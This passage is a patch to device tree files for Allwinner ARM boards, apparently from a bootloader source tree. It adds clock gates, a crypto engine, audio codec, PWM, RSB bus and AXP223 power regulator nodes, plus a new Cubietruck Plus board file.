++	status = "okay";
++};
+--- a/arch/arm/dts/sun7i-a20.dtsi
++++ b/arch/arm/dts/sun7i-a20.dtsi
+@@ -47,6 +47,7 @@
+ #include <dt-bindings/interrupt-controller/arm-gic.h>
+ #include <dt-bindings/thermal/thermal.h>
+ 
++#include <dt-bindings/clock/sun4i-a10-pll2.h>
+ #include <dt-bindings/dma/sun4i-a10.h>
+ #include <dt-bindings/pinctrl/sun4i-a10.h>
+ 
+@@ -67,7 +68,7 @@
+ 				     "simple-framebuffer";
+ 			allwinner,pipeline = "de_be0-lcd0-hdmi";
+ 			clocks = <&pll5 1>, <&ahb_gates 36>, <&ahb_gates 43>,
+-				 <&ahb_gates 44>;
++				 <&ahb_gates 44>, <&dram_gates 26>;
+ 			status = "disabled";
+ 		};
+ 
+@@ -75,7 +76,8 @@
+ 			compatible = "allwinner,simple-framebuffer",
+ 				     "simple-framebuffer";
+ 			allwinner,pipeline = "de_be0-lcd0";
+-			clocks = <&pll5 1>, <&ahb_gates 36>, <&ahb_gates 44>;
++			clocks = <&pll5 1>, <&ahb_gates 36>, <&ahb_gates 44>,
++				 <&dram_gates 26>;
+ 			status = "disabled";
+ 		};
+ 
+@@ -84,7 +86,7 @@
+ 				     "simple-framebuffer";
+ 			allwinner,pipeline = "de_be0-lcd0-tve0";
+ 			clocks = <&pll5 1>, <&ahb_gates 34>, <&ahb_gates 36>,
+-				 <&ahb_gates 44>;
++				 <&ahb_gates 44>, <&dram_gates 26>;
+ 			status = "disabled";
+ 		};
+ 	};
+@@ -107,7 +109,7 @@
+ 				720000	1200000
+ 				528000	1100000
+ 				312000	1000000
+-				144000	900000
++				144000	1000000
+ 				>;
+ 			#cooling-cells = <2>;
+ 			cooling-min-level = <0>;
+@@ -199,6 +201,15 @@
+ 			clock-output-names = "pll1";
+ 		};
+ 
++		pll2: clk at 01c20008 {
++			#clock-cells = <1>;
++			compatible = "allwinner,sun4i-a10-pll2-clk";
++			reg = <0x01c20008 0x8>;
++			clocks = <&osc24M>;
++			clock-output-names = "pll2-1x", "pll2-2x",
++					     "pll2-4x", "pll2-8x";
++		};
++
+ 		pll4: clk at 01c20018 {
+ 			#clock-cells = <0>;
+ 			compatible = "allwinner,sun7i-a20-pll4-clk";
+@@ -267,6 +278,19 @@
+ 			compatible = "allwinner,sun7i-a20-ahb-gates-clk";
+ 			reg = <0x01c20060 0x8>;
+ 			clocks = <&ahb>;
++			clock-indices = <0>, <1>,
++					<2>, <3>, <4>,
++					<5>, <6>, <7>, <8>,
++					<9>, <10>, <11>, <12>,
++					<13>, <14>, <16>,
++					<17>, <18>, <20>, <21>,
++					<22>, <23>, <25>,
++					<28>, <32>, <33>, <34>,
++					<35>, <36>, <37>, <40>,
++					<41>, <42>, <43>,
++					<44>, <45>, <46>,
++					<47>, <49>, <50>,
++					<52>;
+ 			clock-output-names = "ahb_usb0", "ahb_ehci0",
+ 				"ahb_ohci0", "ahb_ehci1", "ahb_ohci1",
+ 				"ahb_ss", "ahb_dma", "ahb_bist", "ahb_mmc0",
+@@ -295,6 +319,10 @@
+ 			compatible = "allwinner,sun7i-a20-apb0-gates-clk";
+ 			reg = <0x01c20068 0x4>;
+ 			clocks = <&apb0>;
++			clock-indices = <0>, <1>,
++					<2>, <3>, <4>,
++					<5>, <6>, <7>,
++					<8>, <10>;
+ 			clock-output-names = "apb0_codec", "apb0_spdif",
+ 				"apb0_ac97", "apb0_iis0", "apb0_iis1",
+ 				"apb0_pio", "apb0_ir0", "apb0_ir1",
+@@ -314,6 +342,12 @@
+ 			compatible = "allwinner,sun7i-a20-apb1-gates-clk";
+ 			reg = <0x01c2006c 0x4>;
+ 			clocks = <&apb1>;
++			clock-indices = <0>, <1>,
++					<2>, <3>, <4>,
++					<5>, <6>, <7>,
++					<15>, <16>, <17>,
++					<18>, <19>, <20>,
++					<21>, <22>, <23>;
+ 			clock-output-names = "apb1_i2c0", "apb1_i2c1",
+ 				"apb1_i2c2", "apb1_i2c3", "apb1_can",
+ 				"apb1_scr", "apb1_ps20", "apb1_ps21",
+@@ -442,6 +476,14 @@
+ 			clock-output-names = "ir1";
+ 		};
+ 
++		keypad_clk: clk at 01c200c4 {
++			#clock-cells = <0>;
++			compatible = "allwinner,sun4i-a10-mod0-clk";
++			reg = <0x01c200c4 0x4>;
++			clocks = <&osc24M>;
++			clock-output-names = "keypad";
++		};
++
+ 		usb_clk: clk at 01c200cc {
+ 			#clock-cells = <1>;
+ 			#reset-cells = <1>;
+@@ -460,6 +502,48 @@
+ 			clock-output-names = "spi3";
+ 		};
+ 
++		dram_gates: clk at 01c20100 {
++			#clock-cells = <1>;
++			compatible = "allwinner,sun4i-a10-dram-gates-clk";
++			reg = <0x01c20100 0x4>;
++			clocks = <&pll5 0>;
++			clock-indices = <0>,
++					<1>, <2>,
++					<3>,
++					<4>,
++					<5>, <6>,
++					<15>,
++					<24>, <25>,
++					<26>, <27>,
++					<28>, <29>;
++			clock-output-names = "dram_ve",
++					     "dram_csi0", "dram_csi1",
++					     "dram_ts",
++					     "dram_tvd",
++					     "dram_tve0", "dram_tve1",
++					     "dram_output",
++					     "dram_de_fe1", "dram_de_fe0",
++					     "dram_de_be0", "dram_de_be1",
++					     "dram_de_mp", "dram_ace";
++		};
++
++		ve_clk: clk at 01c2013c {
++			#clock-cells = <0>;
++			#reset-cells = <0>;
++			compatible = "allwinner,sun4i-a10-ve-clk";
++			reg = <0x01c2013c 0x4>;
++			clocks = <&pll4>;
++			clock-output-names = "ve";
++		};
++
++		codec_clk: clk at 01c20140 {
++			#clock-cells = <0>;
++			compatible = "allwinner,sun4i-a10-codec-clk";
++			reg = <0x01c20140 0x4>;
++			clocks = <&pll2 SUN4I_A10_PLL2_1X>;
++			clock-output-names = "codec";
++		};
++
+ 		mbus_clk: clk at 01c2015c {
+ 			#clock-cells = <0>;
+ 			compatible = "allwinner,sun5i-a13-mbus-clk";
+@@ -744,6 +828,14 @@
+ 			status = "disabled";
+ 		};
+ 
++		crypto: crypto-engine at 01c15000 {
++			compatible = "allwinner,sun4i-a10-crypto";
++			reg = <0x01c15000 0x1000>;
++			interrupts = <GIC_SPI 86 IRQ_TYPE_LEVEL_HIGH>;
++			clocks = <&ahb_gates 5>, <&ss_clk>;
++			clock-names = "ahb", "mod";
++		};
++
+ 		spi2: spi at 01c17000 {
+ 			compatible = "allwinner,sun4i-a10-spi";
+ 			reg = <0x01c17000 0x1000>;
+@@ -1159,6 +1251,19 @@
+ 			status = "disabled";
+ 		};
+ 
++		codec: codec at 01c22c00 {
++			#sound-dai-cells = <0>;
++			compatible = "allwinner,sun7i-a20-codec";
++			reg = <0x01c22c00 0x40>;
++			interrupts = <GIC_SPI 30 IRQ_TYPE_LEVEL_HIGH>;
++			clocks = <&apb0_gates 0>, <&codec_clk>;
++			clock-names = "apb", "codec";
++			dmas = <&dma SUN4I_DMA_NORMAL 19>,
++			       <&dma SUN4I_DMA_NORMAL 19>;
++			dma-names = "rx", "tx";
++			status = "disabled";
++		};
++
+ 		sid: eeprom at 01c23800 {
+ 			compatible = "allwinner,sun7i-a20-sid";
+ 			reg = <0x01c23800 0x200>;
+--- a/arch/arm/dts/sun8i-a23-a33.dtsi
++++ b/arch/arm/dts/sun8i-a23-a33.dtsi
+@@ -56,7 +56,7 @@
+ 		#size-cells = <1>;
+ 		ranges;
+ 
+-		framebuffer at 0 {
++		simplefb_lcd: framebuffer at 0 {
+ 			compatible = "allwinner,simple-framebuffer",
+ 				     "simple-framebuffer";
+ 			allwinner,pipeline = "de_be0-lcd0";
+@@ -175,27 +175,13 @@
+ 			clock-output-names = "apb1";
+ 		};
+ 
+-		ahb1_gates: clk at 01c20060 {
+-			#clock-cells = <1>;
+-			compatible = "allwinner,sun8i-a23-ahb1-gates-clk";
+-			reg = <0x01c20060 0x8>;
+-			clocks = <&ahb1>;
+-			clock-output-names = "ahb1_mipidsi", "ahb1_dma",
+-					"ahb1_mmc0", "ahb1_mmc1", "ahb1_mmc2",
+-					"ahb1_nand", "ahb1_sdram",
+-					"ahb1_hstimer", "ahb1_spi0",
+-					"ahb1_spi1", "ahb1_otg", "ahb1_ehci",
+-					"ahb1_ohci", "ahb1_ve", "ahb1_lcd",
+-					"ahb1_csi", "ahb1_be",	"ahb1_fe",
+-					"ahb1_gpu", "ahb1_spinlock",
+-					"ahb1_drc";
+-		};
+-
+ 		apb1_gates: clk at 01c20068 {
+ 			#clock-cells = <1>;
+ 			compatible = "allwinner,sun8i-a23-apb1-gates-clk";
+ 			reg = <0x01c20068 0x4>;
+ 			clocks = <&apb1>;
++			clock-indices = <0>, <5>,
++					<12>, <13>;
+ 			clock-output-names = "apb1_codec", "apb1_pio",
+ 					"apb1_daudio0",	"apb1_daudio1";
+ 		};
+@@ -213,6 +199,10 @@
+ 			compatible = "allwinner,sun8i-a23-apb2-gates-clk";
+ 			reg = <0x01c2006c 0x4>;
+ 			clocks = <&apb2>;
++			clock-indices = <0>, <1>,
++					<2>, <16>,
++					<17>, <18>,
++					<19>, <20>;
+ 			clock-output-names = "apb2_i2c0", "apb2_i2c1",
+ 					"apb2_i2c2", "apb2_uart0",
+ 					"apb2_uart1", "apb2_uart2",
+@@ -391,12 +381,19 @@
+ 				allwinner,pins = "PC5", "PC6", "PC8",
+ 						 "PC9", "PC10", "PC11",
+ 						 "PC12", "PC13", "PC14",
+-						 "PC15";
++						 "PC15", "PC16";
+ 				allwinner,function = "mmc2";
+ 				allwinner,drive = <SUN4I_PINCTRL_30_MA>;
+ 				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 			};
+ 
++			pwm0_pins: pwm0 {
++				allwinner,pins = "PH0";
++				allwinner,function = "pwm0";
++				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++			};
++
+ 			i2c0_pins_a: i2c0 at 0 {
+ 				allwinner,pins = "PH2", "PH3";
+ 				allwinner,function = "i2c0";
+@@ -451,6 +448,14 @@
+ 			interrupts = <GIC_SPI 25 IRQ_TYPE_LEVEL_HIGH>;
+ 		};
+ 
++		pwm: pwm at 01c21400 {
++			compatible = "allwinner,sun7i-a20-pwm";
++			reg = <0x01c21400 0xc>;
++			clocks = <&osc24M>;
++			#pwm-cells = <3>;
++			status = "disabled";
++		};
++
+ 		lradc: lradc at 01c22800 {
+ 			compatible = "allwinner,sun4i-a10-lradc-keys";
+ 			reg = <0x01c22800 0x100>;
+@@ -574,6 +579,14 @@
+ 				     <GIC_SPI 41 IRQ_TYPE_LEVEL_HIGH>;
+ 		};
+ 
++		nmi_intc: interrupt-controller at 01f00c0c {
++			compatible = "allwinner,sun6i-a31-sc-nmi";
++			interrupt-controller;
++			#interrupt-cells = <2>;
++			reg = <0x01f00c0c 0x38>;
++			interrupts = <GIC_SPI 32 IRQ_TYPE_LEVEL_HIGH>;
++		};
++
+ 		prcm at 01f01400 {
+ 			compatible = "allwinner,sun8i-a23-prcm";
+ 			reg = <0x01f01400 0x200>;
+@@ -642,10 +655,18 @@
+ 			resets = <&apb0_rst 0>;
+ 			gpio-controller;
+ 			interrupt-controller;
++			#interrupt-cells = <3>;
+ 			#address-cells = <1>;
+ 			#size-cells = <0>;
+ 			#gpio-cells = <3>;
+ 
++			r_rsb_pins: r_rsb {
++				allwinner,pins = "PL0", "PL1";
++				allwinner,function = "s_rsb";
++				allwinner,drive = <SUN4I_PINCTRL_20_MA>;
++				allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++			};
++
+ 			r_uart_pins_a: r_uart at 0 {
+ 				allwinner,pins = "PL2", "PL3";
+ 				allwinner,function = "s_uart";
+@@ -653,5 +674,19 @@
+ 				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 			};
+ 		};
++
++		r_rsb: rsb at 01f03400 {
++			compatible = "allwinner,sun8i-a23-rsb";
++			reg = <0x01f03400 0x400>;
++			interrupts = <GIC_SPI 39 IRQ_TYPE_LEVEL_HIGH>;
++			clocks = <&apb0_gates 3>;
++			clock-frequency = <3000000>;
++			resets = <&apb0_rst 3>;
++			pinctrl-names = "default";
++			pinctrl-0 = <&r_rsb_pins>;
++			status = "disabled";
++			#address-cells = <1>;
++			#size-cells = <0>;
++		};
+ 	};
+ };
+--- a/arch/arm/dts/sun8i-a23-gt90h-v4.dts
++++ b/arch/arm/dts/sun8i-a23-gt90h-v4.dts
+@@ -47,15 +47,26 @@
+ #include <dt-bindings/gpio/gpio.h>
+ #include <dt-bindings/input/input.h>
+ #include <dt-bindings/pinctrl/sun4i-a10.h>
++#include <dt-bindings/pwm/pwm.h>
+ 
+ / {
+-	model = "Allwinner GT90H Quad Core Tablet (v4)";
+-	compatible = "allwinner,gt90h-v4", "allwinner,sun8i-a33";
++	model = "Allwinner GT90H Dual Core Tablet (v4)";
++	compatible = "allwinner,gt90h-v4", "allwinner,sun8i-a23";
+ 
+ 	aliases {
+ 		serial0 = &r_uart;
+ 	};
+ 
++	backlight: backlight {
++		compatible = "pwm-backlight";
++		pinctrl-names = "default";
++		pinctrl-0 = <&bl_en_pin_gt90h>;
++		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
++		brightness-levels = <0 10 20 30 40 50 60 70 80 90 100>;
++		default-brightness-level = <8>;
++		enable-gpios = <&pio 7 6 GPIO_ACTIVE_HIGH>; /* PH6 */
++	};
++
+ 	chosen {
+ 		stdout-path = "serial0:115200n8";
+ 	};
+@@ -106,8 +117,7 @@
+ &mmc0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_gt90h>;
+-	/* FIXME this really is aldo1, correct once we've pmic support */
+-	vmmc-supply = <&reg_vcc3v0>;
++	vmmc-supply = <&reg_aldo1>;
+ 	bus-width = <4>;
+ 	cd-gpios = <&pio 1 4 GPIO_ACTIVE_HIGH>; /* PB4 */
+ 	cd-inverted;
+@@ -115,6 +125,13 @@
+ };
+ 
+ &pio {
++	bl_en_pin_gt90h: bl_en_pin at 0 {
++		allwinner,pins = "PH6";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
+ 	mmc0_cd_pin_gt90h: mmc0_cd_pin at 0 {
+ 		allwinner,pins = "PB4";
+ 		allwinner,function = "gpio_in";
+@@ -123,12 +140,106 @@
+ 	};
+ };
+ 
++&pwm {
++	pinctrl-names = "default";
++	pinctrl-0 = <&pwm0_pins>;
++	status = "okay";
++};
++
++&r_rsb {
++	status = "okay";
++
++	axp22x: pmic at 3a3 {
++		compatible = "x-powers,axp223";
++		reg = <0x3a3>;
++		interrupt-parent = <&nmi_intc>;
++		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
++		eldoin-supply = <&reg_dcdc1>;
++	};
++};
++
+ &r_uart {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&r_uart_pins_a>;
+ 	status = "okay";
+ };
+ 
++#include "axp22x.dtsi"
++
++&reg_aldo1 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "vcc-io";
++};
++
++&reg_aldo2 {
++	regulator-always-on;
++	regulator-min-microvolt = <2350000>;
++	regulator-max-microvolt = <2650000>;
++	regulator-name = "vdd-dll";
++};
++
++&reg_aldo3 {
++	regulator-always-on;
++	regulator-min-microvolt = <2700000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "vcc-pll-avcc";
++};
++
++&reg_dc1sw {
++	regulator-name = "vcc-lcd";
++};
++
++&reg_dc5ldo {
++	regulator-always-on;
++	regulator-min-microvolt = <900000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpus";
++};
++
++&reg_dcdc1 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "vcc-3v0";
++};
++
++&reg_dcdc2 {
++	regulator-always-on;
++	regulator-min-microvolt = <900000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-sys";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <900000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc5 {
++	regulator-always-on;
++	regulator-min-microvolt = <1500000>;
++	regulator-max-microvolt = <1500000>;
++	regulator-name = "vcc-dram";
++};
++
++&reg_dldo1 {
++	regulator-min-microvolt = <3300000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "vcc-wifi";
++};
++
++&reg_rtc_ldo {
++	regulator-name = "vcc-rtc";
++};
++
++&simplefb_lcd {
++	vcc-lcd-supply = <&reg_dc1sw>;
++};
++
+ /*
+  * FIXME for now we only support host mode and rely on u-boot to have
+  * turned on Vbus which is controlled by the axp223 pmic on the board.
+@@ -141,5 +252,6 @@
+ };
+ 
+ &usbphy {
++	usb1_vbus-supply = <&reg_dldo1>;
+ 	status = "okay";
+ };
+--- a/arch/arm/dts/sun8i-a23.dtsi
++++ b/arch/arm/dts/sun8i-a23.dtsi
+@@ -50,6 +50,31 @@
+ 	};
+ 
+ 	clocks {
++		ahb1_gates: clk at 01c20060 {
++			#clock-cells = <1>;
++			compatible = "allwinner,sun8i-a23-ahb1-gates-clk";
++			reg = <0x01c20060 0x8>;
++			clocks = <&ahb1>;
++			clock-indices = <1>, <6>,
++					<8>, <9>, <10>,
++					<13>, <14>,
++					<19>, <20>,
++					<21>, <24>, <26>,
++					<29>, <32>, <36>,
++					<40>, <44>, <46>,
++					<52>, <53>,
++					<54>, <57>;
++			clock-output-names = "ahb1_mipidsi", "ahb1_dma",
++					"ahb1_mmc0", "ahb1_mmc1", "ahb1_mmc2",
++					"ahb1_nand", "ahb1_sdram",
++					"ahb1_hstimer", "ahb1_spi0",
++					"ahb1_spi1", "ahb1_otg", "ahb1_ehci",
++					"ahb1_ohci", "ahb1_ve", "ahb1_lcd",
++					"ahb1_csi", "ahb1_be",	"ahb1_fe",
++					"ahb1_gpu", "ahb1_msgbox",
++					"ahb1_spinlock", "ahb1_drc";
++		};
++
+ 		mbus_clk: clk at 01c2015c {
+ 			#clock-cells = <0>;
+ 			compatible = "allwinner,sun8i-a23-mbus-clk";
+--- a/arch/arm/dts/sun8i-a33-sinlinx-sina33.dts
++++ b/arch/arm/dts/sun8i-a33-sinlinx-sina33.dts
+@@ -68,7 +68,7 @@
+ };
+ 
+ &lradc {
+-	vref-supply = <&reg_vcc3v0>;
++	vref-supply = <&reg_dcdc1>;
+ 	status = "okay";
+ 
+ 	button at 200 {
+@@ -96,7 +96,7 @@
+ &mmc0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_sina33>;
+-	vmmc-supply = <&reg_vcc3v0>;
++	vmmc-supply = <&reg_dcdc1>;
+ 	bus-width = <4>;
+ 	cd-gpios = <&pio 1 4 GPIO_ACTIVE_HIGH>; /* PB4 */
+ 	cd-inverted;
+@@ -106,13 +106,16 @@
+ &mmc2 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&mmc2_8bit_pins>;
+-	vmmc-supply = <&reg_vcc3v0>;
++	vmmc-supply = <&reg_dcdc1>;
+ 	bus-width = <8>;
+ 	non-removable;
++	cap-mmc-hw-reset;
+ 	status = "okay";
+ };
+ 
+ &mmc2_8bit_pins {
++	/* Increase drive strength for DDR modes */
++	allwinner,drive = <SUN4I_PINCTRL_40_MA>;
+ 	/* eMMC is missing pull-ups */
+ 	allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
+ };
+@@ -130,6 +133,80 @@
+ 	};
+ };
+ 
++&r_rsb {
++	status = "okay";
++
++	axp22x: pmic at 3a3 {
++		compatible = "x-powers,axp223";
++		reg = <0x3a3>;
++		interrupt-parent = <&nmi_intc>;
++		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
++		eldoin-supply = <&reg_dcdc1>;
++	};
++};
++
++#include "axp22x.dtsi"
++
++&reg_aldo1 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "vcc-io";
++};
++
++&reg_aldo2 {
++	regulator-always-on;
++	regulator-min-microvolt = <2350000>;
++	regulator-max-microvolt = <2650000>;
++	regulator-name = "vdd-dll";
++};
++
++&reg_aldo3 {
++	regulator-always-on;
++	regulator-min-microvolt = <2700000>;
++	regulator-max-microvolt = <3300000>;
++	regulator-name = "vcc-pll-avcc";
++};
++
++&reg_dc5ldo {
++	regulator-always-on;
++	regulator-min-microvolt = <900000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpus";
++};
++
++&reg_dcdc1 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "vcc-3v0";
++};
++
++&reg_dcdc2 {
++	regulator-always-on;
++	regulator-min-microvolt = <900000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-sys";
++};
++
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <900000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpu";
++};
++
++&reg_dcdc5 {
++	regulator-always-on;
++	regulator-min-microvolt = <1500000>;
++	regulator-max-microvolt = <1500000>;
++	regulator-name = "vcc-dram";
++};
++
++&reg_rtc_ldo {
++	regulator-name = "vcc-rtc";
++};
++
+ &uart0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&uart0_pins_b>;
+--- a/arch/arm/dts/sun8i-a33.dtsi
++++ b/arch/arm/dts/sun8i-a33.dtsi
+@@ -72,6 +72,41 @@
+ 			clock-output-names = "pll11";
+ 		};
+ 
++		ahb1_gates: clk at 01c20060 {
++			#clock-cells = <1>;
++			compatible = "allwinner,sun8i-a33-ahb1-gates-clk";
++			reg = <0x01c20060 0x8>;
++			clocks = <&ahb1>;
++			clock-indices = <1>, <5>,
++				        <6>, <8>, <9>,
++				        <10>, <13>, <14>,
++					<19>, <20>,
++					<21>, <24>, <26>,
++					<29>, <32>, <36>,
++					<40>, <44>, <46>,
++					<52>, <53>,
++					<54>, <57>,
++					<58>;
++			clock-output-names = "ahb1_mipidsi", "ahb1_ss",
++					"ahb1_dma","ahb1_mmc0", "ahb1_mmc1",
++					"ahb1_mmc2", "ahb1_nand", "ahb1_sdram",
++					"ahb1_hstimer", "ahb1_spi0",
++					"ahb1_spi1", "ahb1_otg", "ahb1_ehci",
++					"ahb1_ohci", "ahb1_ve", "ahb1_lcd",
++					"ahb1_csi", "ahb1_be",	"ahb1_fe",
++					"ahb1_gpu", "ahb1_msgbox",
++					"ahb1_spinlock", "ahb1_drc",
++					"ahb1_sat";
++		};
++
++		ss_clk: clk at 01c2009c {
++			#clock-cells = <0>;
++			compatible = "allwinner,sun4i-a10-mod0-clk";
++			reg = <0x01c2009c 0x4>;
++			clocks = <&osc24M>, <&pll6 0>;
++			clock-output-names = "ss";
++		};
++
+ 		mbus_clk: clk at 01c2015c {
+ 			#clock-cells = <0>;
+ 			compatible = "allwinner,sun8i-a23-mbus-clk";
+@@ -82,6 +117,16 @@
+ 	};
+ 
+ 	soc at 01c00000 {
++		crypto: crypto-engine at 01c15000 {
++			compatible = "allwinner,sun4i-a10-crypto";
++			reg = <0x01c15000 0x1000>;
++			interrupts = <GIC_SPI 80 IRQ_TYPE_LEVEL_HIGH>;
++			clocks = <&ahb1_gates 5>, <&ss_clk>;
++			clock-names = "ahb", "mod";
++			resets = <&ahb1_rst 5>;
++			reset-names = "ahb";
++		};
++
+ 		usb_otg: usb at 01c19000 {
+ 			compatible = "allwinner,sun8i-a33-musb";
+ 			reg = <0x01c19000 0x0400>;
+--- /dev/null
++++ b/arch/arm/dts/sun8i-a83t-cubietruck-plus.dts
+@@ -0,0 +1,65 @@
++/*
++ * Copyright 2015 Chen-Yu Tsai
++ *
++ * Chen-Yu Tsai <wens at csie.org>
++ *
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
++ *
++ *  a) This file is free software; you can redistribute it and/or
++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
++ */
++
++/dts-v1/;
++#include "sun8i-a83t.dtsi"
++
++/ {
++	model = "Cubietech Cubietruck Plus";
++	compatible = "cubietech,cubietruck-plus", "allwinner,sun8i-a83t";
++
++	aliases {
++		serial0 = &uart0;
++	};
++
++	chosen {
++		stdout-path = "serial0:115200n8";
++	};
++};
++
++&uart0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&uart0_pins_b>;
++	status = "okay";
++};
+--- a/arch/arm/dts/sun8i-a83t.dtsi
++++ b/arch/arm/dts/sun8i-a83t.dtsi
+@@ -52,12 +52,6 @@
+ / {
+ 	interrupt-parent = <&gic>;
+ 
+-	chosen {
+-		#address-cells = <1>;
+-		#size-cells = <1>;
+-		ranges;
+-	};
+-
+ 	cpus {
+ 		#address-cells = <1>;
+ 		#size-cells = <0>;
+@@ -85,6 +79,7 @@
+ 			device_type = "cpu";
+ 			reg = <3>;
+ 		};
++
+ 		cpu at 100 {
+ 			compatible = "arm,cortex-a7";
+ 			device_type = "cpu";
+@@ -96,6 +91,7 @@
+ 			device_type = "cpu";
+ 			reg = <0x101>;
+ 		};
++
+ 		cpu at 102 {
+ 			compatible = "arm,cortex-a7";
+ 			device_type = "cpu";
+@@ -109,18 +105,12 @@
+ 		};
+ 	};
+ 
+-	memory {
+-		reg = <0x40000000 0x80000000>;
+-	};
+-
+ 	timer {
+ 		compatible = "arm,armv7-timer";
+-		interrupts = <GIC_PPI 13 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>,
+-			     <GIC_PPI 14 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>,
+-			     <GIC_PPI 11 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>,
+-			     <GIC_PPI 10 (GIC_CPU_MASK_SIMPLE(4) | IRQ_TYPE_LEVEL_LOW)>;
+-		clock-frequency = <24000000>;
+-		arm,cpu-registers-not-fw-configured;
++		interrupts = <GIC_PPI 13 (GIC_CPU_MASK_SIMPLE(8) | IRQ_TYPE_LEVEL_LOW)>,
++			     <GIC_PPI 14 (GIC_CPU_MASK_SIMPLE(8) | IRQ_TYPE_LEVEL_LOW)>,
++			     <GIC_PPI 11 (GIC_CPU_MASK_SIMPLE(8) | IRQ_TYPE_LEVEL_LOW)>,
++			     <GIC_PPI 10 (GIC_CPU_MASK_SIMPLE(8) | IRQ_TYPE_LEVEL_LOW)>;
+ 	};
+ 
+ 	clocks {
+@@ -128,6 +118,7 @@
+ 		#size-cells = <1>;
+ 		ranges;
+ 
++		/* TODO: PRCM block has a mux for this. */
+ 		osc24M: osc24M_clk {
+ 			#clock-cells = <0>;
+ 			compatible = "fixed-clock";
+@@ -135,36 +126,39 @@
+ 			clock-output-names = "osc24M";
+ 		};
+ 
+-		osc32k: osc32k_clk {
++		/*
++		 * This is called "internal OSC" in some places.
++		 * It is an internal RC-based oscillator.
++		 * TODO: Its controls are in the PRCM block.
++		 */
++		osc16M: osc16M_clk {
+ 			#clock-cells = <0>;
+ 			compatible = "fixed-clock";
+-			clock-frequency = <32768>;
+-			clock-output-names = "osc32k";
++			clock-frequency = <16000000>;
++			clock-output-names = "osc16M";
++		};
++
++		osc16Md512: osc16Md512_clk {
++			#clock-cells = <0>;
++			compatible = "fixed-factor-clock";
++			clock-div = <512>;
++			clock-mult = <1>;
++			clocks = <&osc16M>;
++			clock-output-names = "osc16M-d512";
+ 		};
+ 	};
+ 
+-	soc at 01c00000 {
++	soc {
+ 		compatible = "simple-bus";
+ 		#address-cells = <1>;
+ 		#size-cells = <1>;
+ 		ranges;
+ 
+-		gic: interrupt-controller at 01c81000 {
+-			compatible = "arm,cortex-a7-gic", "arm,cortex-a15-gic";
+-			reg = <0x01c81000 0x1000>,
+-			      <0x01c82000 0x1000>,
+-			      <0x01c84000 0x2000>,
+-			      <0x01c86000 0x2000>;
+-			interrupt-controller;
+-			#interrupt-cells = <3>;
